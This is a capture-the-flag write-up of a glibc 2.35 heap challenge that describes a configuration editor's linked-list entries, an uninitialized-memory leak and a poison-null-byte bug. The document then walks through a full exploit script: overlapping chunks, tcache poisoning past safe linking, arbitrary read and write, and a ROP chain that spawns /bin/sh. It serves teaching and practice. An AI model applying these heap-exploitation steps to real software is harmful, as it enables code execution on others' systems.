After solving all the 2 stars challenges, I decided to tackle the 3 stars starting with éditeur de configuration, a heap challenge on libc 2.35.

Summary

How the configuration works

Essentially, the program lets us import a configuration and modify it:

Menu

Each entry in the configuration must have one of these valid keys:

__int64 __fastcall extract_key(const char *a1, size_t a2)
{
  if ( !strncmp("name", a1, a2) )
    return 1;
  if ( !strncmp("level", a1, a2) )
    return 1;
  if ( !strncmp("team", a1, a2) )
    return 1;
  if ( !strncmp("elo", a1, a2) )
    return 1;
  if ( !strncmp("token", a1, a2) )
    return 1;
  puts("invalid key");
  return 0;
}

And contains 2 chunks on which are respectively saved the key, and its value. For example, if we load this configuration:

config = [ [0, b"A"*0x27], [0, b"B"*0x27], [0, b"C"*0x27] ] # 0 => key = "name"
import_config(config)
p.interactive()

This is the second entry in the configuration:

Entry chunks

  • 0x00005605332af400 contains the value of our entry
  • 0x00005605332af3e0 contains the key
  • 0x27 is the length of the value
  • 0x00005605332af330 is the previous entry
  • 0x00005605332af430 is the next entry

So the configuration is stored as a doubly-linked list, where each entry has the following structure:

struct {
    char *value;
    char *key;
    size_t size;
    struct entry *previous;
    struct entry *next;
} entry

Once we’ve imported a configuration, we can edit it:

Edit configuration

As you can see, we can add an entry at the beginning of the linked list, delete the first entry matching the given key, and modify the first entry matching the given key.

Vulnerabilities

Uninitialized memory

Looking at the contents of the chunks before an entry’s value is copied into them, we can see some residual data that wasn’t cleared out:

Memcpy Arguments

The issue is that the value is null-terminated, preventing us from leaking anything:

_QWORD *__fastcall create_entry(__int64 key_len, __int64 value_len)
{
  _QWORD *chunk;

  chunk = malloc(0x28u);
  if ( !chunk )
    return 0;
  *chunk = 0;
  chunk[1] = 0;
  chunk[2] = 0;
  chunk[3] = 0;
  chunk[4] = 0;
  chunk[1] = malloc(key_len + 1);
  if ( !chunk[1] )
    return 0;
  *chunk = malloc(value_len + 1);
  if ( !*chunk )
    return 0;
  *(_BYTE *)(chunk[1] + key_len) = 0; // Null terminating the key
  *(_BYTE *)(*chunk + value_len) = 0; // Null terminating the value
  chunk[2] = value_len;
  return chunk;
}

The program is calculating the length of our inputs, adding a null byte based on this, but then recalculating it before copying the data:

value_len2 = strcspn(value, " "); // Recalculating the length
if ( value_len2 >= value_len )
{
  memcpy(*entry, value, value_len);
}
else
{
  entry[2] = (void *)value_len2;
  memcpy(*entry, value, value_len2); // Copying based on new length
}

value_len being the total number of bytes in value, and value_len2 being the number of bytes in value before a whitespace. So if we send 8 whitespaces the program will write a null byte at *value+8, but not copy anything into value, letting us leak data:

config = [ [0, b"A"*0x27] for _ in range(3) ] # 0 => key = "name"
import_config(config)
del_entry(0)
del_entry(0)
add_entry([0, b" "*8])

Leak

Poison null byte

The second vulnerability is in the code to modify an entry:

memset(*(void **)i, 0, (size_t)ptr[2] + 1);
memcpy(*(void **)i, *ptr, (size_t)ptr[2]);

This time the program properly initializes the chunk before copying data into it. But it’s adding a null byte to null terminate the value without a proper boundary check:

config = [ [0, b"A"*0x27] ]
import_config(config)
mod_entry([0, b"Z"*0x28])

Memset arguments

Chunk

As we can see, the program is about to copy 0x29 null bytes into a chunk that can only hold 0x28 bytes: a poison null byte.

Exploitation

Leaks

First things first, we can easily use the first vulnerability to leak the heap and the libc:

# Leaking the heap
config = [ [0, b"A"*0x27] for _ in range(3) ]
import_config(config)
del_entry(0)
del_entry(0)
add_entry([0, b" "*8])

# Extracting the leak
leak = extract_first_value()
heap = (int.from_bytes(leak, "little")-1) << 12
log(f"Heap: {hex(heap)}")

# Leaking the libc
add_entry([1, b"A"*0x1000]) # Too big to go into tcache
add_entry([0, b"X"*0x200]) # Not to let it consolidate
del_entry(1)
add_entry([1, b" "*0x1000])

# Extracting the leak
leak = extract_first_value()
libc.address = int.from_bytes(leak, "little") - 2206944
log(f"Libc: {hex(libc.address)}")

Overlapping chunks

Now to exploit the poison null byte, we’ll create two adjacent chunks: A and B. Inside A we’ll write fake headers for a chunk C, and a fake prev_size to make the program think C is the previous chunk to B. Then we’ll overflow into B using A to remove the prev_inuse flag. So that when freeing B, it will consolidate with C creating a big chunk overlapping with chunk A.

If that was too much information at once, you can read more about it here, for example.

The implementation of this technique for our exploit is a bit more complicated because of two problems:

  • For every entry in the configuration, 3 chunks are created, preventing us from creating controlled adjacent chunks.
  • We can’t send null bytes, preventing us from having several addresses in one payload.

We can solve the first issue by creating and freeing the required chunks for an entry and its key. If we then create two entries with values for which no existing chunks would work, they will both be allocated on top of the heap, giving us adjacent chunks.

The second problem is annoying, but we can just write our payloads on the heap starting from the end, working our way backwards, and writing the required null bytes using the null-terminator that the program is adding by itself.

Putting it all together, we get this exploit:

# Creating 3 adjacent chunks
for _ in range(3):
    add_entry([0, b"A"*0x27])
for _ in range(3):
    del_entry(0)
for i in range(3):
    add_entry([i+1, bytes([0x41+i])*0x1f7])
add_entry([0, b"X"*0xf7]) # Not to let them consolidate

# Poison null byte
mod_entry([2, b"B"*0x1f8])

# Creating a fake chunk
fake_chunk = heap+19056
log(f"Fake chunk: {hex(fake_chunk)}")
# Chunk B's prev_size
for i in range(8):
    mod_entry([2, b"B"*(0x1f7-i)]) # Writing null bytes
mod_entry([2, b"B"*0x1f0+p64(0x1f0)]) # prev_size
# Fake chunk's fd and bk
mod_entry([2, b"B"*0x1f]) # Writing a null byte
mod_entry([2, b"B"*0x18+p64(fake_chunk)])
mod_entry([2, b"B"*0x17]) # Writing a null byte
mod_entry([2, b"B"*0x10+p64(fake_chunk)])
# Fake chunk's size and prev_size
for i in range(8):
    mod_entry([2, b"B"*(0x0f-i)]) # Writing null bytes
mod_entry([2, b"B"*8+p64(0x1f1)]) # Size
for i in range(8):
    mod_entry([2, b"B"*(0x7-i)]) # Writing null bytes => prev_size = 0

# Filling up tcache for size 0x200
for _ in range(7):
    add_entry([0, b"X"*0x1f7])
for _ in range(7):
    del_entry(0)

# Consolidating with fake chunk
del_entry(3)

Arbitrary read and write

Now that we have overlapping chunks, we can easily allocate chunks inside chunk A, and modify a tcache fd to allocate wherever we want on memory. We’ll use this to allocate on tcache_perthread_struct, and establish a stable arbitrary read and write:

# Target
target = heap+0x110 # fd for size 0x110 in tcache_perthread_struct
log(f"Target: {hex(target)}")
target = target ^ ((heap+19136)>>12) # Safe linking
log(f"Encrypted target: {hex(target)}")

# Overwriting an fd
mod_entry([2, b"A"*0x60+p64(target)])
for i in range(8):
    mod_entry([2, b"A"*(0x5f-i)]) # Writing null bytes
mod_entry([2, b"A"*0x58+p64(0x51)]) # size

# Setting up arbitrary read+write
add_entry([0, b"X"*0x47])
add_entry([0, b"Z"*6+b" "*(0x47-6)]) # Allocating on target

We’ve allocated on the fd for tcache chunks of 0x110 bytes. So now we can overwrite it with the targeted address, and the next tcache chunk of 0x110 bytes will be allocated there:

def write(target:int, value:bytes):
  add_entry([1, b"Z"*0x10f])
  del_entry(1)
  mod_entry([0, p64(target)+b" "*(0x47-6)])
  add_entry([1, value+b" "*(0x10f-len(value))])

RCE

To finally get our shell we could go different ways. But the simplest approach is to just leak environ, giving us the stack on which we can write a ROPchain:

# Allocating on environ
write(libc.sym["environ"]-0x10, b"A"*0x10)

# Extracting the leak
leak = extract_first_value().split(b"A"*0x10)[1]
environ = int.from_bytes(leak, "little")
log(f"Environ: {hex(environ)}")

system = p64(libc.sym["system"])
sh = p64(libc.address+0x1d8678)
pop_rdi = p64(0x000000000002a745+libc.address) # pop rdi ; pop rbp ; ret

# Writing the ROPchain one instruction at a time calling system("/bin/sh")
target = environ-392
payload = (b"Z"*8+pop_rdi).split(b"\x00")[0]
write(target, payload)

target += 0x10
payload = sh.split(b"\x00")[0]
write(target, payload)

target += 0x10
payload = system.split(b"\x00")[0]
write(target, payload)

# Opening the shell
p.sendlineafter(b"> ", b"4")
p.interactive()

Putting it all together in this script, we get our shell:

Shell